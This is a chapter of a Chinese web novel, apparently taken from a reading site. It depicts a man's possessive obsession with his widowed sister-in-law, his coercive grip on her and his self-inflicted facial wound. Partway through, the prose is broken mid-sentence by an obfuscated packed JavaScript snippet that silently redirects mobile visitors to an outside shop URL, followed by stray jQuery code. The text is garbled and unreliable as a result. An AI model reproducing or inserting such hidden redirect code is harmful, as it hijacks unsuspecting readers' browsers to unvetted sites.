文趣网 > 都市小说 > 觊觎寡嫂 > 87. 27 毁容
    这一刻,祁珩川的眼中迸发出了强烈的恨意。

    是恨。

    他恨玉微瑕。

    恨她在柳岸汀州与他惊鸿一瞥,却消失得无影无踪。恨她本该与他就此错过,却在几经辗转后嫁他兄长。恨她既然嫁祁寅川就该安分待在青玉城,却偏偏要在经年之后再度出现在他的面前……

    然而他最恨的,是她不爱他。

    与玉微瑕的初见,仅仅是他波澜壮阔的人生中的一个小插曲。如果没有与玉微瑕重逢,那么天南海北,相隔万里,他早淡忘她了。

    有权势在手,美色算得了什么?

    哪怕多年之后再次见到玉微瑕,初时,他也未曾升起掠夺之念。他是惊喜的,那一刻,他觉得上天眷顾他。但随后,这份惊喜便被滔天的怒意给打碎。

    为什么玉微瑕会带着她的孩子,出现在这里,还是以祁寅川妻子的身份?

    祁珩川一下想通关节,鄙夷、不甘与厌恶涌上心头。

    是祁寅川把玉微瑕藏了起来,所以他的人才迟迟未能找到玉微瑕,他才最终与玉微瑕错过。

    而祁寅川为何要藏起玉微瑕呢?

    很简单,机缘巧合之下,玉微瑕嫁给了祁寅川。

    她是将祁寅川当成他了吗?她是……认错了人,还是真心喜欢祁寅川这个人?说不上来的,祁珩川有些在意这个答案。

    他去了东院,得到了祁寅川镇定面色之下的隐隐恐慌。

    恐慌么?

    他该恐慌的。

    谎言铸就的高阁,终有一日会塌陷。

    怒意消散,理智回归,祁珩川清楚地知道,玉微瑕不过是过客。他肩负着让祁氏一族兴盛的使命,注定要迎娶年少的夏公主。无论夏公主是否孕育子女,她名下必定会记有一名流淌着祁氏血液的儿子。

    在未来,这个儿子,会被成为皇帝却膝下无子的夏太子迎进宫中,册为太子。整个祁氏是他的后盾,他会成为祁氏家族的第一位皇帝。自此,贺兰氏皇族分崩离析,祁氏取而代之。

    也许那年那月,邂逅佳人,祁珩川动了纳娶之心——他会纳玉微瑕为侧室,等她诞下麟儿,再将这个孩子记到贺兰祯名下。侧室之名虽辱没了她,但他会补偿给他们的孩子。等到百年之后,他们的孩子也会替她正名,给予她死后哀荣。

    然而今时不同往日,木已成舟,她嫁给他那无用羸弱、注定早逝的兄长,成为他的嫂嫂,一切难以更改。

    祁珩川从来不会在已经失去的东西上花费心思。

    几乎是没有任何犹豫的,祁珩川放下了对玉微瑕的执念。那些过往,那些追思,应当随风而逝。本就应该这样,不是吗?区区一个小女子,能在他心中占据几分位置呢?又能抵得了金銮殿上的那把椅子吗?

    祁珩川如是想。

    后来,他时常居高临下地审视着那对恩恩爱爱的夫妻,他冷眼旁观着他们一家三口的亲昵与幸福。他就像隐匿于暗处的蛇鼠,窥伺着旁人的生活。

    可是,凭什么呢?

    他怎么就是蛇鼠了?

    嫉妒的烈火在祁珩川的肺腑中燃烧,令他五内俱焚,不得安宁。他憎恨这一家人岁月静好的模样,尤其,这给他的感觉,像是踩着他上位一样——

    玉微瑕认错了人,她误以为祁寅川是柳岸汀州的那个人。所以,她爱祁寅川。祁寅川因为一副与他相似的面容,所以得到了玉微瑕的爱。如此,他们才成了令人艳羡称道的夫妻。

    明明与他有关,到最后,为何却与他无关了呢?

    玉微瑕为何连人都认不清楚呢?

    祁寅川为何如此恶心,顶着他的名头,做这些李代桃僵之事?

    说不上是恶意还是其他隐秘的心思,祁珩川想要拆穿这些假象。他也在想,祁寅川何时会死去。

    混乱过去后,他以为,玉微瑕会放弃祁寅川。令他没想到的是,玉微瑕离开中州,而后选择了原谅。

    铺天盖地的怒火在祁珩川心中燃烧,那无穷无尽的火焰,快要摧毁他的血肉。这怒火中,夹杂着的,是纯粹的爱,以及纯粹的恨。

    更糟糕的是,随着玉微瑕的离开,他终于彻底地意识到,自己又一次,爱上了玉微瑕。原来这么多年后,他依然为她着迷。他甚至,离不开她。

    这可怎么办呢?

    她在岸上,与心仪的丈夫、可爱的女儿亲昵,徒留他一人在苦海中挣扎。苦海无边,他已经回不了头了。他唯一能做的,就是在苦海中越陷越深。

    祁寅川的死比他预料得早些,人之将死,他们这对相生相克的兄弟,也难得平心静气。他将玉微瑕母女交给了他,不过即使他不交,他也会照顾好她们。

    回忆戛然而止。

    祁珩川凝望着玉微瑕,百思不得其解。

    为了和她在一起,他已经打算放弃唾手可得的无边皇权;为了和她在一起,他已经将自己的所有珍贵之物皆奉献给她;为了和她在一起,他已经一退再退,只求与她有个善果。

    而她呢?

    她依旧念着她那个死鬼丈夫!

    祁珩川恨玉微瑕的铁石心肠与冷酷无情,恨她的固执己见和冥顽不灵,而他最恨的,是玉微瑕竟将他当作了祁寅川的替身。

    她怎可如此羞辱他?!

    明明,祁寅川是他的替身才是。与她先遇见的,是他才对。这么多年来,是祁寅川在战战兢兢地扮演着他的模样。

    她怎么可以,真心爱上为人替身的祁寅川?她又怎么可以,在祁寅川死后,颠倒重来,把他看作是祁寅川呢?难道她不该从丧夫的痛苦中走出来么,难道她不应该重整旗鼓,重新开始么?

    玉微瑕与祁珩川贴得很近,近得她的鼻尖几乎能嗅到祁珩川衣袍上沾染的冷香,近得他整个人的影子能完完全全覆盖住她,近得他一抬手,就能触碰到她的脸庞。

    他一时间没有抬手触碰她,可这比真正的触碰还要让玉微瑕心惊肉跳。

    祁珩

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17793484|204608||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    川的视线,从玉微瑕的额头,一路向下。他的目光化为实体,就像是一条毒蛇,一点一点地爬下来,在玉微瑕的颈侧停留,然后再慢慢地、一圈一圈地绕过她的脖颈。只要一用力,她就会被这条毒蛇给绞死。

    祁珩川的眼神,似人非人,似鬼非鬼。他的眼眸中流露出的,是痴迷的爱意与明晃晃的恶意。爱恨交织,粘稠且晦涩难懂。被他盯上,就好像被地狱里的恶鬼给缠上。

    他在这几息之间,与厉鬼做了交易——抛弃所有,彻底豁出去。无论是生,还是死,他的余生,都会与玉微瑕捆绑在一起。那压迫感沉甸甸地笼罩着玉微瑕,她的呼吸也跟着急促起来。

    玉微瑕被祁珩川的气势所摄,心擂如鼓。她本能地害怕,身子也往后仰去。可她刚一动,祁珩川的双手便紧紧地扼住了她的肩膀。痛意密密麻麻地传来,玉微瑕疼得蹙眉,不由得挣扎起来。

    祁珩川见此,意味不明地笑了笑,随即松开了桎梏。

    玉微瑕还没来得及喘息,发髻便松散下来,一头青丝亦垂落肩上。

    是祁珩川取下了她固定发髻的玉簪。

    鬼使神差的,玉微瑕意识到祁珩川要做什么。她瞪大双眼,心道不妙。就在祁珩川意欲划向侧脸的同时,玉微瑕猛地站起来,高喝一声——

    “不要!”

    她下意识上前,想要夺回玉簪。可女子的力气,弱于男子。即使她拼尽全力,玉簪还是在祁珩川的脸上划出了一道深深的血痕。

    眼见目的达成,祁珩川松了力道。玉微瑕失了重心,双手不稳,玉簪便从她的掌中滑落,摔到地上,碎成三截。玉微瑕更是跌坐回椅子上,冷汗已浸湿里衣。

    她后怕地看向祁珩川,看着他侧脸沁出的鲜血,不禁喃喃道:“疯子……你就是个疯子。”

    “疯子么?”祁珩川俯身,凑到玉微瑕跟前,弯了弯眼,眸中盛满了笑意,“……嫂嫂说我是疯子,我便是疯子罢。只是从今往后,有了这道伤,嫂嫂切勿再将我当成旁人了。否则,我会生气的。”

    “——滚!”

    玉微瑕被祁珩川的无耻开了眼界,她气得又摔碎桌上的茶盏,只想轰走祁珩川。

    “嫂嫂身为东院的女主人,怎么能想着赶客呢?”祁珩川好整以暇地问,“不过既然是嫂嫂的心愿,我自然会答应的。只是,还差一样……”

    祁珩川话音刚落下,便轻抚侧脸的伤口。鲜血沾染指腹,他趁着玉微瑕不备,强硬地为她的唇瓣染上了胭脂色。

    “如此甚好。”祁珩川直起身子,语气黏腻,令人头皮发麻,却又充满爱意,“……朱唇染血,方能显得嫂嫂的气色。”

    “……我既见过嫂嫂,就告辞了,嫂嫂自便。”

    临走时,祁珩川弯腰,在那一地的碎片中,捡起了三截碎裂的玉簪。

    等祁珩川的身影彻底消失,玉微瑕才反应过来。她用手掌使劲擦拭着唇上的鲜血,可不管怎么样,那血腥味始终如影随形。